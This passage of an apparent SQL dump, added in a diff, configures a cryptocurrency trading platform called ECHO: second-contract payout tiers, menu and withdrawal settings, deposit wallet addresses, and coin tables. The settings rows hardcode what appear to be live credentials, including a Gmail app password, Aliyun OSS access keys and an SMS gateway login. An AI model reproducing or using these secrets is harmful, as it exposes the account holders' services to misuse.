NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:24:03', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (54, 48, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:24:26', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (55, 48, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:24:15', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (56, 49, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:24:52', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (57, 49, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:24:58', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (58, 49, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:25:08', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (59, 49, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:25:15', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (60, 49, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:25:21', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (61, 50, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:25:52', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (62, 50, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:25:59', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (63, 50, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:26:04', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (64, 50, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:26:09', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (65, 50, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:26:15', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (66, 51, 30, 0.2000, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (67, 51, 60, 0.5000, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (68, 51, 300, 1.0000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-21 19:39:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (69, 51, 3600, 1.2000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (70, 51, 86400, 1.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (71, 52, 30, 0.2000, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (72, 52, 60, 0.5000, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (73, 52, 300, 1.0000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-21 19:39:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (74, 52, 3600, 1.2000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (75, 52, 86400, 1.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (76, 53, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:26:29', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (77, 53, 60, 0.1300, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:26:38', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (78, 53, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:26:44', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (79, 53, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:26:49', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (80, 53, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:26:56', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (91, 57, 30, 0.2000, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-22 17:20:32', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (92, 57, 60, 0.5000, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-22 17:20:34', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (93, 57, 300, 1.0000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-22 17:20:36', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (94, 57, 3600, 1.2000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-22 17:20:38', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (95, 57, 86400, 1.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-22 17:20:40', NULL, NULL, 1); + +-- ---------------------------- +-- Table structure for t_setting +-- ---------------------------- +DROP TABLE IF EXISTS `t_setting`; +CREATE TABLE `t_setting` ( + `id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT 'ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建者', + `create_time` datetime(6) NULL DEFAULT NULL COMMENT '创建时间', + `delete_flag` bit(1) NULL DEFAULT NULL COMMENT '删除标志 true/false 删除/未删除', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新者', + `update_time` datetime(6) NULL DEFAULT NULL COMMENT '更新时间', + `setting_value` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL COMMENT '配置值value', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_setting +-- ---------------------------- +INSERT INTO `t_setting` VALUES ('APP_SIDEBAR_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"jumpType\":\"path\",\"sort\":4,\"jumpUrl\":\"/fund-password\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0fd6855e63cd64c95b4c89f4cb6a284d2.png\",\"isOpen\":true,\"name\":\"设置资金密码\",\"key\":\"tardPwd\"},{\"jumpType\":\"path\",\"sort\":5,\"jumpUrl\":\"/change-password\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d118927b6ed74c52a193a78599e8a8e7.png\",\"isOpen\":true,\"name\":\"修改登录密码\",\"key\":\"loginPwd\"},{\"jumpType\":\"path\",\"sort\":10,\"jumpUrl\":\"/language-selection\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.011503f682f124cbb956686410b0e0232.png\",\"isOpen\":true,\"name\":\"多语言\",\"key\":\"language\"},{\"jumpType\":\"path\",\"sort\":7,\"jumpUrl\":\"/term-service\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.00eaf1da69c104a0c90d227e023a7d36b.png\",\"isOpen\":true,\"name\":\"服务条款\",\"key\":\"termsService\"},{\"jumpType\":\"path\",\"sort\":1,\"jumpUrl\":\"/certification-primary\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d71041fe7559460392fe79a4958ea2b2.png\",\"isOpen\":true,\"name\":\"初级认证\",\"key\":\"primary\"},{\"jumpType\":\"path\",\"sort\":2,\"jumpUrl\":\"/certification-advanced\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.001da44a5d2c54f97a99ccebce494fca5.png\",\"isOpen\":true,\"name\":\"实名认证\",\"key\":\"advanced\"},{\"jumpType\":\"path\",\"sort\":9,\"jumpUrl\":\"/help\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09ce439a70d0d41f18591dc85ff5bd749.png\",\"isOpen\":true,\"name\":\"帮助中心\",\"key\":\"helper\"},{\"jumpType\":\"path\",\"sort\":6,\"jumpUrl\":\"/email-authentication\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0461d0efb526b450f88672583bc86ab7b.png\",\"isOpen\":true,\"name\":\"邮箱认证\",\"key\":\"certified\"},{\"jumpType\":\"path\",\"sort\":3,\"jumpUrl\":\"/bind-card\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.08a96a396d27b4cbc8117c0362236e783.png\",\"isOpen\":true,\"name\":\"绑定银行卡\",\"key\":\"bank\"},{\"jumpType\":\"link\",\"sort\":8,\"jumpUrl\":\"/\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0cc180682a4d24f3d91738a7f4b4d79db.png\",\"isOpen\":true,\"name\":\"白皮书\",\"key\":\"paper\"}]'); +INSERT INTO `t_setting` VALUES ('ASSET_COIN', 'admin', '2023-07-12 11:17:21.000000', b'1', 'admin', '2023-07-12 13:23:22.000000', '[{\"coinName\":\"USDT-TRC\",\"coin\":\"usdt\",\"coinAddress\":\"TADEwxamYyfF9QFhMJpuU1nsRurzdFmxif\",\"rechargeNum\":1000,\"rechargeMax\":10000000,\"rechargeMin\":1,\"change\":true},{\"coinName\":\"ETH\",\"coin\":\"eth\",\"coinAddress\":\"0x25800664aE7e7661E27f0B5D652ddD9166F27190\",\"rechargeNum\":100,\"rechargeMax\":100000000,\"rechargeMin\":0.001,\"change\":true},{\"coinName\":\"USDT-ERC\",\"coin\":\"usdt\",\"coinAddress\":\"0x25800664aE7e7661E27f0B5D652ddD9166F27190\",\"rechargeNum\":100,\"rechargeMax\":100000000,\"rechargeMin\":1},{\"coinName\":\"BTC\",\"coin\":\"btc\",\"coinAddress\":\"39mXNZRoDPUFjBJoK2M2PuuzYBWCv4o8cJ \",\"rechargeNum\":100,\"rechargeMax\":1000,\"rechargeMin\":0.001}]'); +INSERT INTO `t_setting` VALUES ('BOTTOM_MENU_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"首页\",\"key\":\"home\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.067e44fab1ecf487fb575f464cc701802.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.034c612b520ad495fadbad2f6fecf74d8.png\",\"linkUrl\":\"/\",\"sort\":1,\"isOpen\":true},{\"name\":\"行情\",\"key\":\"quote\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.070e511ab15aa4491a8cfa2d46d89ed8b.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.021c9afc4513b4dd8979762bc961ed7ce.png\",\"linkUrl\":\"/quote\",\"sort\":2,\"isOpen\":true},{\"name\":\"交易\",\"key\":\"trade\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.097dfa6a7cd6b4b1b999b74ee70fce88a.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.00cd9b01498ea443191e06029afd51b90.png\",\"linkUrl\":\"/trade\",\"sort\":3,\"isOpen\":true},{\"name\":\"理财\",\"key\":\"financial\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c5309a5ed7e44c50a891281665422b69.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c27d3c24e1824b1bb607153f17d4bd73.png\",\"linkUrl\":\"/financial\",\"sort\":4,\"isOpen\":false},{\"name\":\"杠杆\",\"key\":\"trade_tab5\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.03f5db6cc259d4360bdba06a5ac291b64.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09a0ffe3cee864875919687f79f73e867.png\",\"linkUrl\":\"/tradeU\",\"sort\":5,\"isOpen\":false},{\"name\":\"资产\",\"key\":\"assets\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0778f18d3ff3547018d19b9c1ec740d4a.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.021af48116678477fb9c61a4afc43eee2.png\",\"linkUrl\":\"/assets\",\"sort\":6,\"isOpen\":true,\"change\":true}]'); +INSERT INTO `t_setting` VALUES ('DEFI_INCOME_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"totalOutput\":\"7895\",\"userBenefits\":\"27326.68\",\"participant\":\"27326\",\"validNode\":\"27326\"}'); +INSERT INTO `t_setting` VALUES ('DOWNLOAD_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"安卓\",\"url\":\"baidu.com\",\"sort\":1,\"isOpen\":\"true\",\"change\":true}]'); +INSERT INTO `t_setting` VALUES ('EMAIL_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"mailTemplate\":\"bindCodeEmail.ftl\",\"mailAppName\":\"ECHO\",\"mailUsername\":\"pipixia0528@gmail.com\",\"mailPassword\":\"gbpsjtgzdxplaevi\",\"mailHost\":\"smtp.gmail.com\",\"mailPort\":\"465\"}'); +INSERT INTO `t_setting` VALUES ('FINANCIAL_REBATE_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"oneRatio\":\"1\",\"twoRatio\":\"2\",\"threeRatio\":\"3\",\"isOpen\":\"true\"}'); +INSERT INTO `t_setting` VALUES ('FINANCIAL_SETTLEMENT_SETTING', 'admin', '2023-07-21 11:04:31.000000', b'0', NULL, NULL, '{\"settlementType\":2}'); +INSERT INTO `t_setting` VALUES ('HOME_COIN_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"isOpen\":\"true\",\"coin\":\"btc\",\"sort\":\"1\"},{\"isOpen\":\"true\",\"coin\":\"eth\",\"sort\":\"2\"},{\"coin\":\"trx\",\"sort\":3,\"isOpen\":\"true\"}]'); +INSERT INTO `t_setting` VALUES ('LOAD_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"overdueRate\":\"1\"}'); +INSERT INTO `t_setting` VALUES ('LOGIN_REGIS_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"emailIsOpen\":true,\"phoneIsOpen\":true,\"ordinaryIsOpen\":true,\"addressIsOpen\":true,\"credits\":100}'); +INSERT INTO `t_setting` VALUES ('MARKET_URL', NULL, NULL, b'0', NULL, NULL, '{\"url\":false,\"adminCode\":true,\"h5Code\":true}'); +INSERT INTO `t_setting` VALUES ('MIDDLE_MENU_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"DeFi挖矿\",\"key\":\"host_non-collateralized_mining\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d2dcc84c36494678b47956abe16c2438.png\",\"linkUrl\":\"/defi\",\"sort\":1,\"isOpen\":true},{\"name\":\"质押挖矿\",\"key\":\"defi_host_lockup\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c09b72b7a58046d7888286d570b17267.png\",\"linkUrl\":\"/pledge\",\"sort\":2,\"isOpen\":true},{\"name\":\"助理贷\",\"key\":\"fast_help_loan\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.02f22f85b43c84be0b8f26e1717402b0c.png\",\"linkUrl\":\"/loan\",\"sort\":3,\"isOpen\":true},{\"name\":\"闪兑\",\"key\":\"flash\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.084346b6510854f4690233072f56ac1e1.png\",\"linkUrl\":\"/swap\",\"sort\":4,\"isOpen\":true},{\"name\":\"下载中心\",\"key\":\"download_center\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.06b5507d34ff446689898b107e17a0236.png\",\"linkUrl\":\"/app-download?flag=home\",\"sort\":5,\"isOpen\":true,\"change\":true},{\"name\":\"推广中心\",\"key\":\"promotion_center\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0e1d2a1ca070842209daaed0935a7444e.png\",\"linkUrl\":\"/plug\",\"sort\":6,\"isOpen\":true},{\"name\":\"秒合约\",\"key\":\"trade_tab6\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.03f4cf21fd0204d90901fb274bcc148d9.png\",\"linkUrl\":\"/trade\",\"sort\":7,\"isOpen\":true},{\"name\":\"理财\",\"key\":\"financial\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d0c698942bad4c02ac807de56bea46c3.png\",\"linkUrl\":\"/financial\",\"sort\":8,\"isOpen\":true},{\"name\":\"U本位\",\"key\":\"trade_tab5\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c82a7b6d9d604768b6f40d484bc93f49.png\",\"linkUrl\":\"/tradeU\",\"sort\":9,\"isOpen\":false},{\"name\":\"币币交易\",\"key\":\"trade_tab3\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0e361119483654d25bfdad32e6e1a262d.png\",\"linkUrl\":\"/trade?flag=BB&show=onlyB\",\"sort\":10,\"isOpen\":false}]'); +INSERT INTO `t_setting` VALUES ('MING_SETTLEMENT_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"settlementType\":2,\"settlementDay\":null}'); +INSERT INTO `t_setting` VALUES ('OSS_SETTING', 'admin', '2023-07-13 14:32:34.000000', b'1', 'admin', '2023-07-13 14:32:27.000000', '{\"endPoint\":\"oss-cn-hongkong.aliyuncs.com\",\"accessKeyId\":\"LTAI5tQGr3pBCNMXbGCkPET4\",\"accessKeySecret\":\"Ub9NsQVinQ1xzz91ehwpW2gSStsOI3\",\"bucketName\":\"echo-res\",\"picLocation\":\"echo2.0\"}'); +INSERT INTO `t_setting` VALUES ('PLATFORM_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"timezone\":\"Asia/Kuching\",\"googleAuth\":false}'); +INSERT INTO `t_setting` VALUES ('PLAYING_SETTING', 'admin', '2023-11-18 23:58:36.000000', b'0', 'admin', '2023-11-18 23:58:46.000000', '[{\"name\":\"自选\",\"isOpen\":true,\"sort\":0},{\"name\":\"秒合约\",\"isOpen\":false,\"sort\":1},{\"name\":\"币币交易\",\"isOpen\":true,\"sort\":2},{\"name\":\"U本位\",\"isOpen\":false,\"sort\":3}]'); +INSERT INTO `t_setting` VALUES ('RECHARGE_REBATE_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"ratio\":1,\"rebateMaxAmount\":10000,\"isOpen\":true}'); +INSERT INTO `t_setting` VALUES ('RECHARGE_SETTING', 'admin', '2023-07-12 11:17:21.000000', b'1', 'admin', '2023-07-12 13:23:22.000000', '{\r\n \"rechargeBtc\": \"0x8d6DeE13685299c487f461FaA83d4d96531c1b6F\",\r\n \"rechargeEth\": \"0xcac28898Ed1e3bdc7F6e34613a500963b1262c7A\",\r\n \"rechargeUsdtTrc\": \"THj4KyU7QEXCBKxMXcFjqDUWiJeh1coH5Z\",\r\n \"rechargeUsdtErc\": \"TFj3B2g747pGuhaTij2h1pbYkesbdRRRRR\",\r\n \"rechargeNum\": 10,\r\n \"rechargeMax\": 10000,\r\n \"rechargeMin\": 1\r\n}'); +INSERT INTO `t_setting` VALUES ('SMS_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"name\":\"node\",\"mobileAccount\":\"I003662\",\"mobilePassword\":\"OEwXRLHZkB23\",\"mobileUrl\":\"https://api.nodesms.com/send/json\"}'); +INSERT INTO `t_setting` VALUES ('SUPPORT_STAFF_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"TG\",\"url\":\"https://t.me/fanchen861\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0bdb041f3a5d5433b8c814cbf3a0cb199.jpeg\"}]'); +INSERT INTO `t_setting` VALUES ('TAB_SETTING', 'admin', '2023-11-18 23:58:36.000000', b'0', 'admin', '2023-11-18 23:58:46.000000', '[{\"name\":\"平台资产\",\"isOpen\":true,\"sort\":0,\"keyStr\":\"asset_platform\"},{\"name\":\"理财资产\",\"isOpen\":false,\"sort\":1,\"keyStr\":\"asset_financ\"},{\"name\":\"合约资产\",\"isOpen\":false,\"sort\":2,\"keyStr\":\"asset_contarct\"}]'); +INSERT INTO `t_setting` VALUES ('USER_ADDRESS_COIN', 'admin', '2023-07-17 13:47:58.000000', b'0', NULL, NULL, '[{\"coin\":\"USDT\"},{\"coin\":\"BTC\"},{\"coin\":\"ETH\"}]'); +INSERT INTO `t_setting` VALUES ('VIP_LEVEL_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"isOpen\":true,\"vip0Start\":\"\",\"vip0End\":null,\"vip1Start\":null,\"vip1End\":null,\"vip2Start\":null,\"vip2End\":null,\"vip3Start\":null,\"vip3End\":null,\"vip4Start\":null,\"vip4End\":null,\"vip5Start\":null,\"vip5End\":null,\"vip6Start\":null,\"vip6End\":null,\"vip7Start\":null,\"vip7End\":null,\"vip8Start\":null}'); +INSERT INTO `t_setting` VALUES ('WITHDRAWAL_CHANNEL_SETTING', 'admin', '2023-07-03 13:47:03.000000', b'0', NULL, NULL, '[{\"status\":\"1\",\"rechargeName\":\"USDT-ERC\",\"rechargeType\":\"usdt\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"1\",\"rechargeName\":\"USDT-TRC\",\"rechargeType\":\"usdt\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"1\",\"rechargeName\":\"ETH\",\"rechargeType\":\"eth\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"1\",\"rechargeName\":\"BTC\",\"rechargeType\":\"btc\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"0\",\"rechargeName\":\"BANK\",\"rechargeType\":\"jpy\",\"type\":\"1\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1,\"index\":\"4\"}]'); +INSERT INTO `t_setting` VALUES ('WITHDRAWAL_SETTING', 'admin', '2023-07-17 13:47:58.000000', b'0', NULL, NULL, '{\"ratio\":\"0.112\",\"dayWithdrawalNum\":\"10\",\"freeNum\":\"3\",\"withdrawalMax\":\"100000\",\"withdrawalMix\":\"1\"}'); + +-- ---------------------------- +-- Table structure for t_spontaneous_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_spontaneous_coin`; +CREATE TABLE `t_spontaneous_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `logo` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `refer_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种', + `refer_market` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种交易所', + `show_symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示名称', + `price` decimal(20, 4) NULL DEFAULT NULL COMMENT '初始价格(单位USDT)', + `proportion` decimal(20, 4) NULL DEFAULT NULL COMMENT '价格百分比', + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 28 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '自发币种配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_symbol_manage +-- ---------------------------- +DROP TABLE IF EXISTS `t_symbol_manage`; +CREATE TABLE `t_symbol_manage` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键id', + `symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `min_charge_num` decimal(20, 8) NULL DEFAULT NULL COMMENT '最小兑换数量', + `max_charge_num` decimal(20, 8) NULL DEFAULT NULL COMMENT '最大兑换数量', + `commission` decimal(20, 8) NULL DEFAULT NULL COMMENT '手续费(%)', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '1 启用 2 禁用', + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `create_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '修改人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '修改时间', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '0正常 2删除', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 33 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '币种管理' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_symbol_manage +-- ---------------------------- +INSERT INTO `t_symbol_manage` VALUES (15, 'link', 1.00000000, 10000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', 'binance', NULL, NULL, '2023-08-08 19:29:54', NULL, NULL, NULL, NULL); +INSERT INTO `t_symbol_manage` VALUES (16, 'dgb', 100.00000000, 10000.00000000, 0.30000000, 1, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', 'binance', NULL, NULL, '2023-08-09 01:50:33', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (17, 'cocos', 0.00100000, 10000.00000000, 0.20000000, 2, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cocos-bcx.png', 'binance', NULL, NULL, '2023-08-09 13:51:52', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (18, 'link', 1.00000000, 1000.00000000, 1.00000000, 0, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', 'binance', NULL, NULL, '2023-08-10 17:56:13', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (19, 'btc', 0.00100000, 10000.00000000, 0.10000000, 2, '1', 